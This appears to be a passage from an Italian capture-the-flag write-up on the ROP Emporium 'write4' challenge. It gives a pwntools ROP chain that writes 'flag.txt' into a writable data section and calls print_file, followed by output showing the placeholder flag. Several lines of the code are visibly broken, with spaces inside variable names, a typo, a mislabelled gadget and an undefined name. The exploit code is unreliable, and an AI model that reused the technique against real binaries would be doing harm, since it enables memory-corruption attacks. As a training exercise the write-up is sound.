<u>Attenzione</u>: anche qui lo stack è disallineato (almeno per me). Occorre quindi prendersi un gadget contenente solo "ret" prima di tutte le altre chiamate e dopo l'offset. Quindi come codice:

```
from pwn import *
data seg = 0x00601028
print_file = 0x400510
only_ret_gadget = p64(0x00000000004004e6)
# L'offset RIP è a 40
rop = b"A" * 40
rop += only_ret_gadget
# Primo gadget per inizializzare r14 e r15 (sfruttando due ROP gadget e la sezione "data" che è scrivibile)
pop r14 r15 = 0x00000000000400690 # pop r14; pop r15; ret
rop += p64(pop_r14_r15)
rop += p64(data_seg)
rop += b"flag.txt"
#Scrivi in memoria
rop += p64(mov_r15_to_r14)
# Chiama la funzione "print file"
pop rdi = 0x00000000000400693 # pop r15 ; ret
rop += p64(pop rdi)
rop += p64(data seq)
rop += p64(print_file)
# Avvia processo e invia una ROP chain
e = process('write4')
e.sendline (rop)
e.interactive()
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
 Thank you!
ROPE{a placeholder 32byte flag!}
[*] Got EOF while reading in interactive
```